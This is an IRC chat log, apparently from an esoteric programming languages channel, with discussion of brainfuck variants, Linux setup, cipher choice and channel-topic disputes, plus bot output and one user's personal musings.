16:03:17 <itidus21> there is something about a CA defying a static pattern which seems complex to me
16:04:49 <itidus21> i suppose percieved randomness to me is complexity
16:06:59 <itidus21> or maybe i am just reciting the ideas i got after i was directed to koglomerov complexity
16:08:18 <elliott> 20:45:21: <Friendship> Taneb: Whether it is TC or not is a philosophical question, but adding "meta" doesn't make it suddenly make sense.
16:08:19 <elliott> 20:45:33: <Taneb> http://esolangs.org/wiki/Meta_Turing-complete
16:08:24 <elliott> 20:47:18: <Friendship> What the bleh
16:08:24 <elliott> 20:48:39: <Friendship> elliott innit here
16:08:33 <elliott> @tell Friendship "Meta Turing-complete" is just some badly-defined bullshit TehZ made up.
16:08:50 <elliott> @tell Friendship It can be made to make sense, but it's essentially a trivial concept when you do.
16:09:47 <elliott> @tell Friendship It's not really related to ℒ, though.
16:09:48 <itidus21> i can't accept who i really am.. i need delusions of grandeur because they give me hope
16:13:02 <itidus21> i'm the guy who likes brainfuck because it has an anarchistic name for a programming language.. and it has a novelty of only 8 instructions. but the actual mathematical interests of it are for the best part completely lost on me.
16:13:58 <itidus21> so if i were to accept that then i would have to admit that i never understand anything on topic in here
16:17:37 <itidus21> also amusing to me i am supposed to be an indie game devver on freenode but i am running windows xp, and my next chance to upgrade my graphics card is on my birthday when my relatives give me a few $ and hope noone comes to me saying "this is what you should do with ur money"
16:17:57 <itidus21> this is why i need my delusions :D
16:18:34 <elliott> Running Windows XP means you can't be an indie game developer, did you know?
16:18:46 <elliott> This is not actually true, but being unable to develop games does.
16:19:28 <itidus21> well.. i am on freenode and i have a slew of reasons for dodging linux
16:20:58 <elliott> Phantom_Hoover: Do you think itidus21 knows that most indie game developers run Windows?
16:21:15 <itidus21> one is windows is easier for some value of easier..and i have all the apps i want already.. another lesser reason is my brother tends to take care of my hardware and networking and don't wanna alienate him
16:21:20 <Phantom_Hoover> I don't want to try to get inside the mind of itidus21.
16:21:53 <itidus21> i'm sort of offering insight into my mind .. sort of..
16:22:24 <itidus21> i suppose its like since my brother supplies my internet i am sort of following an organizational policy in the house
16:23:35 <itidus21> if i have to rant about something i thought i may as well meta-rant (new word just now)
16:24:31 <itidus21> so all this sets the backdrop upon which i leap from chatroom to chatroom ranting
16:25:31 <itidus21> a bit like a courteous dog who distributes his business equally within a radius of his neighbours
16:25:54 <elliott> How many channels are you in?
16:26:32 <elliott> You babble *five* times more than this in whole?
16:28:06 <itidus21> i got myself kicked out of #xna on efnet because i kept reacting every time this guy would post an off-topic link
16:29:35 <itidus21> itidus21: if you were really good you could get a room named after your company
16:29:35 <itidus21> itidus21: for example.. if houses started getting built with an ebay roo
16:29:45 <itidus21> itidus21: i would love it if every home had a room named after me.. filled with things bought fromme
16:30:07 <itidus21> well that wasnt in irc but that was a rant from anoter chatroom
16:33:56 <elliott> Dear god, you're even more incoherent elsewhere.
16:34:38 <itidus21> i am most incoherent when taking notes of my ideas
16:36:20 <itidus21> illustrated thus http://pastebin.com/LV8XGM96
16:36:57 <elliott> The problem is that we don't want an illustration.
16:37:03 -!- Taneb has joined.
16:38:20 <itidus21> when writing to myself, i eventually realized i need a (human) editor.. because the task of editing proves more difficult a technical task than producing text
16:38:59 <elliott> please say something interesting
16:40:19 <itidus21> i think my ideas can be interesting.. they just need decoding..
16:40:48 <itidus21> the random text file i linked however.. i admit. thats not interesting
16:44:38 <itidus21> It seems that anything has nostalgic value for someone who used it in the past. Emphasis on nostalgic products is lazy. It is as if resigning themselves to the fact they can't create any new exciting experiences for the audience.
16:45:40 <itidus21> Or maybe life just gets more boring with age as one starts to be surrounded by patterns and routines.
16:46:07 <itidus21> And therefore it is not possible to entertain adults without nostalgia.
16:46:21 <itidus21> That would be a very depressing outlook.
16:47:00 <elliott> not as depressing as my outlook for this discussion
16:51:03 <Vorpal> itidus21, you should try being an optimist at some point. It is good for you.
16:52:47 <elliott> http://esolangs.org/wiki/Special:RandomRedirect i wonder why this exists
16:55:03 <itidus21> theres a bit of a vicious cycle from being weak and/or vulnerable.. it may be a reflection of the way the rich get richer..
16:55:34 <itidus21> whatever state one is in, it tends to amplify as life goes on
16:55:42 <Vorpal> itidus21, so fight against it!
16:57:30 <elliott> Vorpal: Please don't encourage itidus21 to think that IRC is a viable platform for life advice unless you want him to solicit it from IRC in the future.
16:58:30 <Taneb> Iactus is a stupid game
17:02:18 <itidus21> i tried googling. what is Iactus?
17:03:01 <Taneb> It's a game played by Romans
17:03:44 <elliott> http://en.wikipedia.org/w/index.php?title=Mike_Godwin&diff=prev&oldid=462494382 wmf legal what are you doing
17:08:43 <itidus21> http://en.wikipedia.org/w/index.php?title=Talk%3ATuring_tarpit&diff=81723221&oldid=80301027
17:09:52 <kallisti> to fix my very mild-nearsightedness / astigmatism
17:09:59 <kallisti> SO MAYBE I WON'T MISREAD SHIT ALL THE TIME ON IRC
17:10:13 <kallisti> that was my main concern, you see.
17:10:18 <itidus21> maybe you will realize tidus is not to be taken seriously now....
17:11:20 <kallisti> itidus21: I have a challenge for you.
17:12:11 <itidus21> if i ever move out i'll consider a linux partition
17:14:02 <kallisti> why do you frame life decisions on your current residence?
17:14:09 <kallisti> I guess it would be inconvenient on a shared computer.
17:14:15 <kallisti> to have to reboot between two OSes
17:14:49 <kallisti> just run Windows in virtualbox fullscreen. they'll never know the difference.
17:14:51 <itidus21> its not shared.. its just uhh...
17:15:35 * kallisti imagines Windows + VM layer + inevitable accumulation of viruses = uuuuuuuuuuugh
17:16:05 <kallisti> so, not really a reason. got it.
17:16:53 <kallisti> elliott: dependent on user of course.
17:16:59 <kallisti> I never had viruses when I ran Windows.
17:17:01 <itidus21> its a bit like when a company has everyone in the office running the same OS
17:17:41 <kallisti> so your family is Windows zealots? :P
17:19:42 <kallisti> well, "I never had viruses" is a bit subjective. I never had viruses that became a visible problem.
17:19:50 <itidus21> to be completely honest i think i stand to gain more as a windows user than the free software community stands to gain from my supporting it
17:19:59 <Taneb> Oh boy have I had viruses
17:20:17 <kallisti> itidus21: well.. so what? I have jackshit to give to the free software community
17:20:27 <kallisti> except, I guess, some free software. if they want it.
17:20:50 <itidus21> so what do you use a free OS for? >:)
17:21:05 <kallisti> same thing people use Windows for, except it's better.
17:21:52 <itidus21> its probably better for the user who is prepared to go the extra yard in understanding their OS
17:22:02 <kallisti> people don't use linux necessarily because they want to contribute to open source software.
17:22:28 -!- oerjan has joined.
17:22:30 <kallisti> though, I do. it's just... like, it's an OS, man. you use it for things completely unrelated to OSS.
17:22:49 <itidus21> like sometimes when using an app i regret not having spent an entire day studying it's GUI.
17:22:58 <itidus21> sure it would be a dry study but it would pay off
17:23:14 <kallisti> itidus21: shell. man pages. good stuff.
17:23:38 <Vorpal> <itidus21> like sometimes when using an app i regret not having spent an entire day studying it's GUI. <-- *blink*
17:24:31 <itidus21> yeah.. i think if you just set aside an entire working day to study the GUI of an app... you would gain immensely in your efficiency using the app subsequently
17:24:31 <kallisti> though it's quite exhausting going from a tty to a everyday-usable linux system without a desktop environment. I had a bit of "configure overload" for a few days.
17:24:46 <Vorpal> itidus21, eh, you learn as you go with most GUIS
17:24:56 <kallisti> However, if you use a DE (and especially if you use a distro like Ubuntu which handles a lot of things for you automatically), you don't have to worry about any of that.
17:25:10 <itidus21> but learn as you go isn't necessarily the best way to go
17:25:24 <Vorpal> frankly I don't use much GUI, mostly console. Only GUI programs I use majorly are gimp, inkscape, firefox, and lyx I think.
17:25:33 <Vorpal> most other stuff I don't use much
17:26:13 <Vorpal> oh and games, but for games every game has an unique GUI anyway, plus they tend to be simple to learn
17:26:16 <itidus21> firefox does have a very small set of menus.. but then it has reams of settings not contained in any windows form
17:26:40 <elliott> The reason 90% of Firefox's settings are hidden is that you're not meant to tweak them.
17:26:42 <Vorpal> been in there many times
17:26:47 <Vorpal> mostly after a new release
17:27:23 <itidus21> but i wouldn't want to be the guy who would have to write a set of forms to access all those firefox settings
17:27:29 <Vorpal> (I'm not saying every change is for the worst, but with every major release there used to be one or two changes that annoyed me to hell)
17:27:54 <Vorpal> (with the modern release scheme, who knows)
17:27:59 <kallisti> configuring X, configuring xmonad, configuring mpd, configuring irssi, configuring my terminal, installing firefox manually (because fuck iceweasel), getting my wireless firmware to work, getting flash to work (64-bit flash player is apparently busted so I'm using 32-bit firefox with 32-bit flash), getting fonts to render well on my screen (thanks elliott)
17:28:11 <itidus21> at that stage it seems a config doesn't need a gui.
17:28:23 <kallisti> and... still need to fix my ACPI driver issue, and possibly some display driver issues (though I think my second monitor is just broken)
17:28:47 <Vorpal> itidus21, nothing with with about:config, it is searchable
17:28:57 <Vorpal> kallisti, laptop or desktop?
17:29:13 <Vorpal> well, probably laptop due to ACPI
17:29:47 <Vorpal> kallisti, for linux laptops I can only recommend one brand, in fact one model lineup even. Thinkpad.
17:30:19 <kallisti> ...yes I'll go replace my $600 Dell Inspiron 15 with a Thinkpad right away!
17:30:32 <elliott> "installing firefox manually (because fuck iceweasel)"
17:30:35 <elliott> kallisti: this is a bad idea, btw.
17:30:56 <elliott> and the flash player wouldn't be busted if you used the packagse
17:30:59 <itidus21> it installs itself more or les
17:31:14 <Vorpal> kallisti, that is one cheap laptop btw
17:31:15 <elliott> itidus21: have you ever tried to install windows?
17:31:28 <kallisti> Vorpal: I bought it refurbished.
17:31:58 <kallisti> I just realized how weird "refurbished" is
17:32:09 <itidus21> elliott: not really.. i've left it to my brother...
17:32:13 <Vorpal> kallisti, mhm, my laptop (bought it new) cost about 11000 SEK, 1618 USD (in current conversion)
17:32:16 <kallisti> it looks like something `words would come up with.
17:32:20 <Vorpal> very good laptop though
17:32:44 <elliott> itidus21: So, by "it installs itself more or less", you mean "I don't realise that Ubuntu's installation has like 5 fewer steps than Windows and completes about five times as fast, but I'm going to bullshit anyway"?
17:32:56 <itidus21> i meant firefox not windows :D
17:33:19 <itidus21> i should have been more specific though
17:33:24 <Vorpal> elliott, well, ubuntu's install is trivial, apart from partitioning which is annoying (due to being overly dumbed down)
17:33:30 <kallisti> apt packages install themselves more-or-less-er than Windows installation EXEs.
17:33:58 <elliott> Vorpal: s/annoying (due to being overly dumbed down)/trivial for everyone but Vorpal (due to being simplified)/
17:34:10 <Vorpal> elliott, I tried to help someone install the newest ubuntu recently, he /needed/ RAID 1. Wasn't available from the normal installer.
17:34:14 <kallisti> I was pleased with Debian's installed options
17:34:17 <elliott> itidus21: You mean as opposed to most Linux distrobutions, which include Firefox out of the box?
17:34:36 <kallisti> it gave me a lot of control over how I wanted encryption to work specifically.
17:35:07 <Vorpal> elliott, I'm not saying there shouldn't be a simple version. I'm saying there should be a button in one corner saying "give me sodding fdisk in a shell, because I know what I'm doing" kind of thing
17:35:30 <itidus21> im probably not interested in the small details which kallisti wanted to configure.. i cant imagine what they are
17:35:40 <kallisti> itidus21: luckily there's also a guided mode
17:35:42 <kallisti> which does everything for you.
17:35:49 <kallisti> assuming you don't have a second OS you want to keep around.
17:36:09 <elliott> Vorpal: That option is called starting a shell and running fdisk.
17:36:17 <itidus21> maybe i mean vorpal im losing track
17:36:39 <Vorpal> elliott, right, which is not available if you didn't select to boot the live environment, but rather to just install.
17:36:39 <elliott> Anyway, can we stop trying to convince itidus21 to do something? He's stubborn enough when he's just spouting crap.
17:36:47 <Vorpal> elliott, besides the live cd lacks mdadm
17:36:50 <kallisti> elliott: I used twofish instead of AES. good or bad?
17:36:56 <kallisti> I don't know very much about encryption algos.
17:37:13 <elliott> Vorpal: So, you're complaining that you selected a simpler option, and thus couldn't execute the complex configuration you wanted?
17:37:37 <itidus21> elliott: i actually started mailing my australian health care card forms to avoid lectures about getting a job when taking in the form
17:37:41 <kallisti> but a perusal of their WP pages suggests that twofish has fewer potential (and practical) attacks
17:37:56 <Vorpal> elliott, I'm complaining it didn't tell me that it didn't say that it would be limited
17:38:01 <elliott> itidus21: Thank you for the information. I did not ask.
17:38:10 <Vorpal> kallisti, according to cryptsetup I use aes-cbc-essiv:sha256
17:38:12 <itidus21> well it backs up your point im very stubborn
17:38:14 <elliott> Vorpal: Partitioning is the first or second step; quit whining.
17:38:31 <Vorpal> elliott, that computer was slow, so it took ages to reboot it.
17:38:38 <Vorpal> (I'm talking about a P4 here)
17:38:40 <kallisti> elliott: so twofish is more broken than AES?
17:38:42 <itidus21> i would rather invent a political philosophy where noone works than admit i need a job
17:38:54 <Vorpal> (with an ATI Rage video card! Wow)
17:39:13 <elliott> kallisti: Comparing the two is dishonest: people use AES, barely anyone uses Twofish.
17:39:24 <kallisti> hm, wouldn't that be a good thing?
17:39:30 <elliott> If the two were equal, we'd expect AES to be much more broken.
17:39:39 <elliott> kallisti: That's called security by security.
17:39:54 <elliott> AES: "All known attacks are computationally infeasible. For AES-128, the key can be recovered with a computational complexity of 2126.1 using bicliques. For biclique attacks on AES-192 and AES-256, the computational complexities of 2189.7 and 2254.4 respectively apply. Related-key attacks can break AES-192 and AES-256 with complexities 2176 and 299.5, respectively."
17:39:57 <elliott> Twofish: "Truncated differential cryptanalysis requiring roughly 251 chosen plaintexts.[1] Impossible differential attack that breaks 6 rounds out of 16 of the 256-bit key version using 2256 steps.[2]"
17:39:57 <kallisti> but it's bad in that fewer attacks could be uncovered.
17:40:17 <itidus21> when people tell me to get a job i argue that their taxes pay for militaries who ultimately kill in their line of work which means they are indirectly killing more people than me ^_^;
17:40:38 <kallisti> elliott: er, I mean. what you were saying is that it doesn't make sense to compare them because less attempts to break twofish have been made than the more widely used AES.
17:40:57 <elliott> kallisti: Yes (or rather people won't be trying as hard).
17:41:08 <elliott> You should pick the most popular thing that isn't broken.
17:41:08 <itidus21> unless the person is intimidating.. then i probably won't argue that
17:41:48 <itidus21> or that a society that exists to produce work and workers is doomed to the inherent suffering of work
17:42:13 <elliott> that would require itidus21 to be able to program
17:42:25 <kallisti> that's probably even more important.
17:43:03 <itidus21> i have ended up doing nothing...
17:43:11 <itidus21> seems to produce the least hiccups
17:43:19 <kallisti> it also requires you to be self-disciplined and make yourself work when no one is telling you to. (something I'm failing at right now!)
17:43:29 <elliott> Go and work so you stop propagating this.
17:43:52 <kallisti> I should be drunk right now. at 12:43
17:44:09 <kallisti> in like, Florida, or something. whatever people stereotypically do on their spring breaks.
17:44:26 <itidus21> on a philosophical level i wonder if i am trapped by my family, or trapped by myself
17:44:58 <kallisti> mostly yourself, because you've let these things become influences.
17:45:04 <kallisti> but to a degree you can't completely control what influences you.
17:45:30 <elliott> kallisti: This is not productive.
17:45:52 <kallisti> I'm doing this job in Haskell.
17:45:58 <kallisti> so like, it will be enjoyable.
17:46:08 <kallisti> what the fuck am I doing here?
17:46:25 <elliott> http://esolangs.org/wiki/Special:RecentChanges?uselang=qqx
17:46:30 <itidus21> maybe this is why a lot of philosophy ends up chewing the question of fate/destiny/karma/free will/free won't/determinism/non-determinism/soft-determiism/certainty/chance/inevitability
17:46:34 <kallisti> (other benefits of freelancing: on some projects, you get to choose your language of choice)
17:46:49 <kallisti> itidus21: as far as I can tell it's basically an unsolved problem.
17:46:58 <kallisti> but I think "free will" is ill-defined
17:47:49 <elliott> kallisti: This is still not productive.
17:47:59 <kallisti> I took an intro to philosophy class, so I'm like totally an expert, man.
17:48:03 <itidus21> theres the psychic industry set up around it
17:48:29 <itidus21> and self-fulfilling prophecies explored in macbeth
17:49:51 <kallisti> I think that even though you're obviously not in perfect control of your circumstances or even your own behaviors, it doesn't make you totally unable to do anything about it. Some people trap themselves in this idea that they have no control.
17:50:04 <itidus21> i can't give you the advice that my advice is bad advice because it's a paradox
17:50:21 <kallisti> and I wonder to what degree that's inevitable. still, it's better to try than to not try, because, since we don't know the answer to that question, you may end up succeeding.
17:50:22 <itidus21> the best thing for me to do would be to just cease giving advice
17:50:30 <kallisti> whereas you'll never succeed if you just stay trapped.
17:51:24 <elliott> kallisti: Please stop already.
17:51:43 <kallisti> elliott: I like how you blame me for this conversation
17:51:53 <kallisti> itidus21 is like the fool who can't help himself.
17:52:07 <kallisti> and I'm the willful perpetrator.
17:52:32 <elliott> kallisti: There's a saying you might have heard before that goes "don't feed the trolls".
17:52:38 <elliott> I think you'll find a comparable principle applies here.
17:53:09 <kallisti> is a troll just "source of things I don't like on the internet"
17:53:28 <elliott> Note the word "comparable", which is not a typo for "identical".
17:53:29 <kallisti> I thought it had a specific meaning. like someone who manipulates an online crowd to illicit some kind of negative response.
17:56:40 <itidus21> it's intended as a cross section of a mug
17:56:50 <kallisti> it looks like bomberman waving at me
17:56:57 <kallisti> the c is his little knubby hand-appendage.
17:58:11 <kallisti> the life of a bomberman must be difficult, he has no fingers. all he can do is miraculously spawn explosives and manipulate them with his little ball-hands and ball-feet.
17:59:39 <fungot> rrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrr ...
18:00:21 <lambdabot> "rrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrr...
18:01:33 <fungot> xwvutsrqponmlkjihgfedcba`_^]\[ZYXWVUTSRQPONMLKJIHGFEDCBA@?>=<;:9876543210/.-,+*)('&%$#"! ..<CTCP>
18:01:37 <kallisti> elliott: do you have sane fullscreen handling on your xmonad config?
18:01:49 <kallisti> I've got my set up to unfullscreen when the window is out of focus on screen.
18:03:08 <kallisti> from XMonad.Layout.Fullscreen. But XMonad.Hooks.EwmhDesktops has similar fullscreen handling but with less flexibility (it's not dependent on how the layout handles the fullscreen message)
18:03:09 <quintopia> what is the value of blinking thorn? how can i type blinking thorn myself?
18:04:38 <elliott> kallisti: Fullscreen howso?
18:05:05 <quintopia> kallisti: the last character of fungot's output above appears in urxvt as a blinking thorn
18:05:06 <fungot> quintopia: so on some occasions, the tree fell an hour ago. :p the cost is only 2.5e (!) to set the car of the list tail
18:06:00 <fungot> quintopia: i'm building a portable cml library with some improvements, though. it would be :) either way, you can have the gui built in with ultraedit. i hear they don't blow up people with them, though
18:06:16 <kallisti> elliott: well by default fullscreen leaves things like xmobar visible
18:06:22 <elliott> quintopia: Oh, there's also an invert thing.
18:06:29 <elliott> quintopia: Earlier in the line.
18:06:39 <kallisti> unless you do fullscreenFloat or whatever it's called, or use EwmhDesktops fullscreen hook, or set up Layout.Fullscreen
18:07:05 <elliott> kallisti: I prefer it like that.
18:07:10 <quintopia> if its in the topic, the topic is too long for me to see it
18:07:25 <kallisti> I almost do... except that it would be annoying if I'm trying to watch a movie on an external display.
18:07:37 <elliott> You're the one asking how to create a blinking thorn.
18:07:49 <elliott> kallisti: You could configure those displays separately.
18:08:03 -!- tzxn3 has joined.
18:08:03 <kallisti> but I don't really fullscreen anything except video... so....
18:08:11 <quintopia> elliott: i've also requested in the past that log link be kept near the beginning of the topic
18:08:19 <kallisti> and I can switch focus to regain visibility of xmobar if I need it.
18:08:30 -!- oerjan has quit (Quit: Lost terminal).
18:09:17 <kallisti> quintopia: why? don't you know anything about proper information structuring? least important comes first.
18:09:59 <kallisti> yep. you learn that in collegez
18:10:23 <quintopia> now the upside-down question mark 1/2 is bold and blinking
18:10:23 <elliott> quintopia: I much prefer the topic to be first.
18:10:29 <elliott> Before the auxiliary links.
18:10:33 <quintopia> elliott: the topic is not a real topic
18:11:01 <quintopia> also, why is it that i have to deal with your preferences?
18:11:32 <kallisti> elliott: I am disagree for two reasons: the links are fairly small, whereas the rest of the topic is typically large and useless. pieces of actual information should go first for quick reference.
18:11:36 <elliott> Because I set 90% of the topics.
18:11:45 -!- quintopia has set topic: http://codu.org/logs/_esoteric/ | It's worth noting that no useful language can remove all undefined behaviour; Gödel's Incompleteness Theorem, and its applications to computer science, tell us that in general you can't determine whether a method will complete, or whether a program can run indefinitely without running out of resources. | http://esolangs.org/ has moved servers!.
18:11:46 <elliott> You could also just bookmark http://codu.org/logs/_esoteric/.
18:12:01 <elliott> You left the other "important" piece of information.
18:12:14 <kallisti> clearly having the links first is better in any way you can think of (other than "I don't like it")
18:12:36 <kallisti> even, maybe, like, I don't know. a description of the channel.
18:12:46 <kallisti> we had one of those once didn't we?
18:12:47 <elliott> kallisti: ChanServ sends such a description.
18:13:09 -!- elliott has set topic: It's worth noting that no useful language can remove all undefined behaviour; Gödel's Incompleteness Theorem, and its applications to computer science, tell us that in general you can't determine whether a method will complete, or whether a program can run indefinitely without running out of resources. | http://codu.org/logs/_esoteric/ | http://esolangs.org/ has moved servers!.
18:13:26 <quintopia> elliott: it's ^f that makes it blink
18:13:57 <quintopia> elliott: the other piece of information is unimportant
18:14:04 <kallisti> also because many topic bars cut off the topic, you need to use /topic to view the large text. whereas if the links were at the front you could simply scan the topic bar to get the useful information.
18:14:20 <fizzie> quintopia: ^F makes it flash.
18:14:34 <kallisti> except it's usually disabled because it's terrible.
18:14:48 <elliott> kallisti: Anyone who cares about the logs will know where the logs are.
18:15:12 <elliott> There was an fairly long time that the logs were rarely in the topic to start with.
18:16:22 <quintopia> i would prefer the textual part of the topic to be short, personally. then it doesnt matter where the link is. and it's usually tldr anyway
18:16:22 <fungot> ^<lang> <code>; ^def <command> <lang> <code>; ^show [command]; lang=bf/ul, code=text/str:N; ^str 0-9 get/set/add [text]; ^style [style]; ^bool
18:16:24 <elliott> `Why don't bots listen to messages with spaces in front?!
18:16:34 <kallisti> it would make loops so much better
18:16:39 <fizzie> (Just checking what it was.)
18:17:24 <HackEgo> 2005-12-15.txt:21:27:42: <ihope> > error "Testing" :: Int
18:17:40 <itidus21> ^bf >,[>,]<.[<.]!tognu[f] gol`
18:17:44 <HackEgo> grep: missing terminating ] for character class
18:18:22 <kallisti> must be why it's called brainfuck. HA HA HA HA HA HA HA HA HA HA HA
18:18:42 <fizzie> ^rev is a command for that
18:18:55 <quintopia> must be why it's called grep. HA HA HA HA HA HA HA HA HA HA HA
18:19:08 <itidus21> ^bf >,[>,]<.[<.]!tognu]f[ gol`
18:19:22 <HackEgo> 2008-10-26.txt:22:05:51: <comex> fungot: If your response to this message makes sense as a set of obligations to impose on me in Agora, I pledge to follow them.
18:20:44 <kallisti> nevermind, terrible joke still holds.
18:20:50 * kallisti has excellent reading comprehension skills.
18:21:16 <kallisti> > reverse "[][][][][][][][][][][][][][][]"
18:21:34 -!- Taneb has quit (Quit: Goodbye).
18:21:35 <kallisti> hmmm, only two characters off from being a palindrome
18:21:40 <quintopia> yes. individual characters are not reversible. so sorry
18:21:44 <kallisti> > reverse "][][][][][][][][][][][][][]["
18:21:52 <kallisti> only 2 characters off from being a palindrome
18:21:57 <kallisti> > reverse "[][][][][][][][][][][][][]"
18:22:07 <fizzie> ^rev [][][] why you no use the homebrewn commands
18:22:07 <fungot> sdnammoc nwerbemoh eht esu on uoy yhw ][][][
18:22:47 <itidus21> ok i think i just thought up a brainfuck variation
18:23:06 <kallisti> yeah that's a thing I believe.
18:23:15 <itidus21> its a very painful thing evidently
18:23:16 <kallisti> doesn't mean you can find some minor detail to vary!
18:23:35 <quintopia> fizzie: there needs to be an upside-down homebrewn command that upside-downs the input.
18:23:36 <kallisti> reversefuck reverses operator meanings
18:24:06 <kallisti> so < is >; - is +; . is ,; etc
18:24:30 <itidus21> ahh.. well i am talking about a brainfuck interpreter which reverses the input program..
18:24:35 <itidus21> but doesn't change its meanings
18:24:51 <itidus21> dear god that would ruin my brain
18:24:58 <fizzie> That's the sort of thing that will draw bricks out of Phantom_Hoover.
18:25:06 <kallisti> itidus21: just like.... read it backwards?
18:25:10 <kallisti> I don't think it would be that difficult
18:25:18 <kallisti> especially since each token is only one character
18:25:23 <kallisti> reverse C would be much worse.
18:26:58 <itidus21> so.. from the wiki... Cat as ,[.,] becomes ... ],.[,
18:27:31 <itidus21> i do not think that is easy but then i couldn't write cat without thinking hard
18:28:19 <itidus21> ^rev >+++++++++[<++++++++>-]<.>+++++++[<++++>-]<+.+++++++..+++.>>>++++++++[<++++>-]
18:28:19 <fungot> ]->++++<[++++++++>>>.+++..+++++++.+<]->++++<[+++++++>.<]->++++++++<[+++++++++>
18:28:19 <kallisti> > (`replicateM` ['A'..'Z'] ++ ['a' .. 'z']) =<< [0..]
18:28:19 <itidus21> <.>>>++++++++++[<+++++++++>-]<---.<<<<.+++.------.--------.>>+.
18:28:20 <lambdabot> The operator `Control.Monad.replicateM' [infixl 9] of a section
18:28:27 <kallisti> > (`replicateM` (['A'..'Z'] ++ ['a' .. 'z'])) =<< [0..]
18:28:29 <lambdabot> ["","A","B","C","D","E","F","G","H","I","J","K","L","M","N","O","P","Q","R"...
18:28:32 <kallisti> ^rev (`replicateM` (['A'..'Z'] ++ ['a' .. 'z'])) =<< [0..]
18:28:32 <fungot> ]..0[ <<= ))]'z' .. 'a'[ ++ ]'Z'..'A'[( `Metacilper`(
18:29:07 <fizzie> ^bf >,[>,]<[<]>[.>]!longcat is only as long as the tape
18:29:07 <fungot> longcat is only as long as the tape
18:29:10 <kallisti> reverse Haskell is a legit esolang. look at that.
18:29:20 <itidus21> ^rev >+++++++++[<++++++++>-]<.>+++++++[<++++>-]<+.+++++++..+++.>>>++++++++[<++++>-]<.>>>++++++++++[<+++++++++>-]<---.<<<<.+++.------.--------.>>+.
18:29:20 <fungot> .+>>.--------.------.+++.<<<<.---<]->+++++++++<[++++++++++>>>.<]->++++<[++++++++>>>.+++..+++++++.+<]->++++<[+++++++>.<]->++++++++<[+++++++++>
18:29:35 <fizzie> (Sadly, the tape is longer than the IRC line.)
18:30:00 <itidus21> theres hello world in reverse interpreted bf
18:30:20 <kallisti> however, is it Turing complete?
18:30:49 <fizzie> kallisti: It's probably Gnirut complete.
18:31:04 <itidus21> it is nothing more than doing ^rev on the input stream to bf
18:31:38 <kallisti> sounds a bit too hand-wavey for a real proof, don't you think?
18:32:29 <kallisti> I think we need to write a compiler
18:32:35 <kallisti> that translates to a TC language
18:33:17 <itidus21> i guess the best way to write in such a language would be to write a bf program.. then run ^rev on it
18:33:41 <kallisti> yes, and then you could plug it into the compiler
18:33:43 <itidus21> and then pass it to the interpreter which would unrev it and interpret it as normal bf
18:33:57 <kallisti> itidus21: yes, that's a compiler.
18:34:09 <kallisti> a compiler and an interpreter.
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18:34:45 <kallisti> by far the most interesting development in esoteric programming languages in some time.
18:36:37 <kallisti> itidus21: you should write a reference implementation.
18:37:06 <itidus21> one interesting property of it is that some subset of bf programs would also be valid bf after reversal.. and some wouldn't
18:37:40 <elliott> The subset is those without loops.
18:38:01 <elliott> Except actually it can never move the tape pointer.
18:38:05 <elliott> Unless you use a both-ends infinite tape.
18:38:09 <kallisti> as an /interesting variant/, you could also mirror the program
18:38:14 <kallisti> so that brackets are oriented the same way.
18:38:35 <itidus21> its just that its so fiendishly unintuitive to read bf in reverse... got my attention
18:38:47 <fizzie> kallisti: And the tails of commas point the other direction.
18:39:00 <kallisti> also < and > would be backwards
18:39:44 <itidus21> i was shocked that ^rev [a] =/= [a]
18:39:55 <itidus21> i expected it to be for some reason
18:40:01 <fizzie> There should be a law.
18:40:34 <fizzie> ^rev (maybe the other parens behave better)
18:40:34 <fungot> )retteb evaheb snerap rehto eht ebyam(
18:40:36 <kallisti> itidus21: probably your brain tricked you into thinking [ and ] retain the same appearance if reversed.
18:41:00 <fizzie> On the other hand: retteb evaheb snerap.
18:41:05 <kallisti> fizzie: interesting development
18:41:27 <itidus21> kallisti: hence the painful aspect
18:41:29 <kallisti> but yeah if you ignore concrete syntax, then any reversed bf program is also a valid bf program.
18:41:46 <kallisti> you have to reverse the semantics of the bracket operators still.
18:42:19 <fizzie> You have to REVERSE THE POLARITY.
18:42:45 <fizzie> What were the nonsensical bfjoust polarity terms, again?
18:43:20 <kallisti> as the bracket operators are the only ones dependent on the positioning of other tokens..
18:43:32 <fizzie> Kettle calling the sieve holey.
18:44:02 <kallisti> if you had a bf-like language (linear stream of operators) where none of the tokens were dependent in that way then a reversal of the program source would yield a valid program in the original language.
18:45:32 <Phantom_Hoover> Ooooh, Darths & Droids actually changed the name of a major character.
18:46:21 <kallisti> oh hey, here's an interesting idea. adding operations that are dependent on the locations of other operations. this would effect the semantics of those operations after source reversal.
18:46:38 <elliott> Phantom_Hoover: Should I read Darths & Droids.
18:47:02 <fizzie> Phantom_Hoover: Ooooh, brainfuck derivatives.
18:47:33 <kallisti> so for example in a language that's a superset of dupdog, a [ could ignore all source up to ]
18:47:39 <elliott> Phantom_Hoover: How many comics is it.
18:47:46 <elliott> kallisti: What would ] do?
18:48:02 <kallisti> it doesn't necessarily have to
18:48:07 <kallisti> as you still have different semantics upon reversal.
18:48:11 <kallisti> but it could do something as well.
18:48:24 <elliott> Phantom_Hoover: That is a lot.
18:48:56 <kallisti> ^rev [blah blah blah [] blah] [ blah
18:48:56 <fungot> halb [ ]halb ][ halb halb halb[
18:49:09 <kallisti> ^rev [blah blah blah [] blah] ] blah
18:49:09 <fungot> halb ] ]halb ][ halb halb halb[
18:49:34 <fizzie> You keep talking, but all I hear is "halb halb halb".
18:49:51 -!- zzo38 has joined.
18:50:06 <fungot> halb ][ halb ][ halb ][
18:50:21 <fungot> halb [] halb [] halb []
18:51:45 <kallisti> the condition is dependent on the initial condition.
18:52:40 <kallisti> yeah it's conditional execution, it's just that there's no input.
18:55:40 <kallisti> elliott: a ] could ignore source up to (and including) a [
18:56:39 <elliott> Up to and excluding is funner.
18:58:46 <kallisti> though there's no reason to have two characters at that point
18:59:35 <elliott> Did you know that maybe id const = flip maybe?
18:59:52 <lambdabot> forall b a. (a -> b) -> b -> Maybe a -> b
19:00:14 <kallisti> perhaps I'm missing something.
19:00:38 <elliott> maybe id const = flip fromMaybe, rather.
